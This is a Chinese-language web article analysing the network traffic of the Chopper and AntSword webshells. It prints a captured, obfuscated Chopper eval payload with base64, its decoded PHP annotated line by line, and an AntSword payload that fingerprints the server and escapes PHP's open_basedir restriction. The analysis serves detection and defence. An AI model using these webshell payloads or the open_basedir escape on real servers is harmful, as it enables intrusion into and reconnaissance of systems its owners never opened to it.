Webshell流量分析之菜刀Chopper&蚁剑AntSword - ToB企服应用市场:ToB评测及商务社交产业平台

pass = array_map(
"ass"."ert",
array("ev"."Al("\\\$xx%3D\\"Ba"."SE6"."4_dEc"."OdE\\";@ev"."al
(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9ZGlybmFtZShfX0ZJTEVfXyk7JFI9InskRH1cdCI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fSRSLj0iXHQiOyR1PShmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOicnOyR1c3I9KCR1KT8kdVsnbmFtZSddOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iKHskdXNyfSkiO3ByaW50ICRSOztlY2hvKCJYQFkiKTtkaWUoKTs%3D'));");"
)
);

复制代码

//display_errors设为0，php不会显示错误信息
@ini_set("display_errors","0");
//设置脚本的最大执行时间为无限制
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
//如果php版本低于5.3.0则关闭magic_quotes_runtime确保兼容性
@set_magic_quotes_runtime(0);
};
echo("X@Y");
//获取当前文件所在目录的路径
$D = dirname(__FILE__);
$R = "{$D}\t";
//如果当前路径的第一字符不是 / 则表明是 Windows环境
if (substr($D, 0, 1) != "/") {
//循环遍历从A到Z的所有字母，查找其中哪个是有效的驱动器（盘符），并将它们加到$R中
foreach(range("A", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
}
$R. = "\t";
//检查是否存在posix_getegid函数,是否运行在支持POSIX的系统,如果支持，则获取当前有效用户的用户信息，否则返回空
$u = (function_exists('posix_getegid')) ? @posix_getpwuid(@posix_geteuid()) : '';
//获取当前php的运行用户
$usr = ($u) ? $u['name'] : @get_current_user();
//添加操作系统相关信息
$R. = php_uname();
$R. = "({$usr})";
print $R;;
echo("X@Y");
//结束脚本执行
die();

复制代码

pass = @ini_set("display_errors", "0");
@set_time_limit(0);
//获取php的open_basedir配置项的值
$opdir = @ini_get("open_basedir");
if ($opdir) {
//获取当前脚本文件的路径
$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
//使用base64解码后的字符串进行分割操作
$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
//将当前脚本路径和系统临时目录添加到$oparr数组中
@array_push($oparr, $ocwd, sys_get_temp_dir());
foreach($oparr as $item) {
if (!@is_writable($item)) {
continue;
};
//构建临时目录路径，959eddc56d0f是一个随机字符串
$tmdir = $item."/".959eddc56d0f;
@mkdir($tmdir);
if (!@file_exists($tmdir)) {
continue;
}
//获取临时目录的真实路径
$tmdir = realpath($tmdir);
@chdir($tmdir);
//修改open_basedir的配置为父目录
@ini_set("open_basedir", "..");
//使用正则表达式分割临时目录路径
$cntarr = @preg_split("/\\\\\\\\|\\//", $tmdir);
//循环返回上级目录
for ($i = 0; $i < sizeof($cntarr); $i++) {
@chdir("..");
};
//将open_basedir配置项恢复为根目录
@ini_set("open_basedir", "/");
@rmdir($tmdir);
break;
};
};
function asenc($out) {
return $out;
};
//定义一个函数asoutput，用于输出结果
function asoutput() {
$output = ob_get_contents();
ob_end_clean();
echo "bb"."bf3";
echo @asenc($output);
echo "8f0"."909";
}
//启动输出缓冲
ob_start();
try {
$D = dirname($_SERVER["SCRIPT_FILENAME"]);
if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
//一下和菜刀类似，获取盘符，用户信息，系统信息
$R = "{$D} ";
if (substr($D, 0, 1) != "/") {
foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
} else {
$R. = "/";
}
$R. = " ";
$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s = ($u) ? $u["name"] : @get_current_user();
$R. = php_uname();
$R. = " {$s}";
echo $R;
} catch (Exception $e) {
echo "ERROR://".$e - > getMessage();
}
asoutput();
die();
HT

复制代码